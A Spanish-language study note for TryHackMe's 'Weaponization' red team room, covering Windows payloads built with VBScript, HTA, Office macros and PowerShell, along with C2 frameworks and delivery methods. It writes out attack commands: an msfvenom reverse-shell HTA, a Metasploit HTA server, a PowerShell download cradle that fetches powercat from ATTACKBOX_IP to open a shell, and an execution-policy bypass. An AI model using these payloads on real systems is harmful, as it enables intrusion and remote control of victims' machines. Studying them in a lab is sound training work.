Weaponization
Weaponization es la segunda fase del Cyber Kill Chain (Lockheed Martin). En esta etapa el atacante genera y desarrolla código malicioso encapsulado en payloads entregables (documentos Word…
Definición
Weaponization es la segunda fase del Cyber Kill Chain (Lockheed Martin). En esta etapa el atacante genera y desarrolla código malicioso encapsulado en payloads entregables (documentos Word, PDFs, scripts, etc.) con el objetivo de explotar la máquina target y obtener acceso inicial.
Contexto
- La mayoría de organizaciones usa Windows, por lo que es el objetivo más común.
- Las políticas corporativas suelen bloquear la ejecución de
.exe, por lo que los red teamers recurren a técnicas alternativas basadas en tecnologías nativas de Windows. - Los payloads se entregan mediante: phishing, social engineering, explotación de browser/software, USB, o entrega web.
- Esta nota es parte del Red Team Path (TryHackMe): Red Team Fundamentals → Red Team Recon (THM) → Weaponization → Phishing (THM).
Técnicas de scripting en Windows
1) Windows Script Host (WSH)
WSH es el motor de scripting nativo de Windows que ejecuta VBScript (.vbs, .vbe) con el mismo nivel de permisos que el usuario actual.
wscript.exe— ejecuta scripts con interfaz gráfica (ventanas emergentes)cscript.exe— ejecuta scripts en línea de comandos
Ejemplo básico — MessageBox:
Dim messagemessage = "Welcome to THM"MsgBox messageEjemplo — Ejecutar un binario:
Set shell = WScript.CreateObject("Wscript.Shell")shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName), 0, TrueEjecución:
wscript c:\Users\thm\Desktop\payload.vbscscript.exe c:\Users\thm\Desktop\payload.vbsEvasión — ejecutar VBS renombrado a .txt:
wscript /e:VBScript c:\Users\thm\Desktop\payload.txt2) HTML Application (HTA)
HTA (HTML Application) son páginas HTML dinámicas con JScript/VBScript ejecutadas por el binario LOLBIN mshta.exe. Pueden descargarse y ejecutarse desde el navegador.
Ejemplo — ejecutar cmd.exe via ActiveX:
<html><body><script> var c= 'cmd.exe' new ActiveXObject('WScript.Shell').Run(c);</script></body></html>Flujo de entrega:
# Atacante — servir el HTA desde servidor webpython3 -m http.server 8090
# Víctima — visita http://ATTACKER_IP:8090/payload.hta y pulsa "Run"Reverse shell con msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=443 -f hta-psh -o thm.htaListener en el atacante:
sudo nc -lvp 443HTA via Metasploit (módulo integrado):
use exploit/windows/misc/hta_serverset LHOST <IP>; set LPORT 443; set SRVHOST <IP>set payload windows/meterpreter/reverse_tcpexploit# Genera URL tipo: http://<IP>:8080/TkWV9zkd.hta3) Visual Basic for Applications (VBA) — Macros de Office
VBA es el lenguaje de macros de Microsoft Office (Word, Excel, PowerPoint). Permite acceder a la Windows API y ejecutar código con los permisos del usuario.
Macro básica — MsgBox:
Sub Document_Open() THMEnd Sub
Sub AutoOpen() THMEnd Sub
Sub THM() MsgBox ("Welcome to Weaponization Room!")End SubAutoOpen()yDocument_Open()se ejecutan automáticamente al abrir el documento.- Guardar en formato macro-habilitado:
.doc(Word 97-2003) o.docm.
Macro — ejecutar binario:
Sub PoC() Dim payload As String payload = "calc.exe" CreateObject("Wscript.Shell").Run payload, 0End Sub⚠️ Al abrir el archivo, Word muestra alerta de seguridad (“Macros have been disabled”). El usuario debe pulsar “Enable Content”.
Combinación: VBA puede combinarse con HTA y WSH para capas adicionales de evasión.
4) PowerShell (PSH)
PowerShell es un lenguaje orientado a objetos sobre el DLR de .NET, ampliamente usado en red teaming para acceso inicial, enumeración y post-explotación.
Política de ejecución:
# Ver política actualGet-ExecutionPolicy# → Restricted (bloquea scripts .ps1 por defecto)
# Cambiar política (requiere permisos)Set-ExecutionPolicy -Scope CurrentUser RemoteSignedBypass de Execution Policy:
# Ejecutar script con política bypasspowershell -ex bypass -File thm.ps1Reverse shell con powercat:
# Atacante — clonar y servir powercatgit clone https://github.com/besimorhino/powercat.gitcd powercat && python3 -m http.server 8080nc -lvp 1337# Víctima — descargar y ejecutarpowershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACKBOX_IP:8080/powercat.ps1');powercat -c ATTACKBOX_IP -p 1337 -e cmd"Command and Control (C2)
Los frameworks C2 son infraestructuras post-explotación que permiten a los red teamers controlar máquinas comprometidas y colaborar entre sí. Ver Command and Control (C2) para detalle completo.
| Framework | Tipo | Notas |
|---|---|---|
| Cobalt Strike | Comercial | Adversary Simulation; beacons avanzados; reporting |
| PowerShell Empire | Open-source | Basado en PS/Python; foco en Windows/AD |
| Metasploit | Open-source | Multi-plataforma; amplio arsenal de exploits/payloads |
Técnicas de entrega (Delivery)
Email Delivery (Phishing)
- Payload adjunto (doc, xls, hta, vbs) o enlace a sitio malicioso.
- Infraestructura recomendada: DKIM, SPF, DNS PTR para evitar spam filters.
- Alternativa: cuenta de correo corporativa comprometida para mayor credibilidad.
- Ver Phishing (THM) para detalle.
Web Delivery
- Payload alojado en servidor controlado por el atacante.
- Requiere: dominio con buena reputación + certificado TLS.
- Se puede combinar con exploits de browser o zero-days.
- MITRE: T1189.
USB Delivery
- Requiere acceso físico (conferencias, eventos, oficinas).
- Herramientas: Rubber Ducky (HID emulator), USBHarpoon, O.MG Cable.
- MITRE: T1091.
- Muchas organizaciones deshabilitan USB por política.
Process Migration (post-explotación)
Cuando el payload se ejecuta en un proceso de corta duración (p.ej. Word), es necesario migrar a otro proceso para mantener la persistencia:
# En Meterpreterrun post/windows/manage/migrate# Migra a notepad.exe u otro proceso establePitfalls / Errores comunes
- Confiar en que VBA/VBS evadir la detección por sí solo (requieren combinación de técnicas y ofuscación adicional).
- No migrar el proceso tras ejecutar el payload desde Word (el documento se cierra en 90 s en entornos controlados).
- Usar la misma IP de LHOST en todas las pruebas (queda registrada en logs).
- Ignorar la telemetría de Defender/EDR al generar payloads con
msfvenomsin encoders ni evasión adicional.
Integración con otras notas
- Previo: Red Team Recon (THM)
- Siguiente: Phishing (THM)
- C2 framework: Command and Control (C2)
- Payload generation: MSFvenom, Metasploit Framework
- Cyber Kill Chain: Red Team Fundamentals
- MITRE ATT&CK: TA0001 (Initial Access), T1059 (Command and Scripting Interpreter)
Diagrama
flowchart LR
A[Objetivo de Initial Access] --> B{Método de entrega}
B --> C[Email / Phishing]
B --> D[Web]
B --> E[USB]
C --> F[Payload]
D --> F
E --> F
F --> G[WSH/VBScript]
F --> H[HTA / mshta]
F --> I[VBA Macro]
F --> J[PowerShell]
G & H & I & J --> K[Ejecución en víctima]
K --> L[C2 Callback]
L --> M[Post-Explotación]
Referencias
- TryHackMe — Weaponization: https://tryhackme.com/room/weaponization
- Lockheed Martin Cyber Kill Chain: https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html
- Red Teaming Toolkit (GitHub): https://github.com/infosecn1nja/Red-Teaming-Toolkit
- Powercat (GitHub): https://github.com/besimorhino/powercat
- Intro to C2 (TryHackMe): https://tryhackme.com/room/introtoc2
- MITRE ATT&CK T1059: https://attack.mitre.org/techniques/T1059/
- MITRE ATT&CK T1091 (USB): https://attack.mitre.org/techniques/T1091/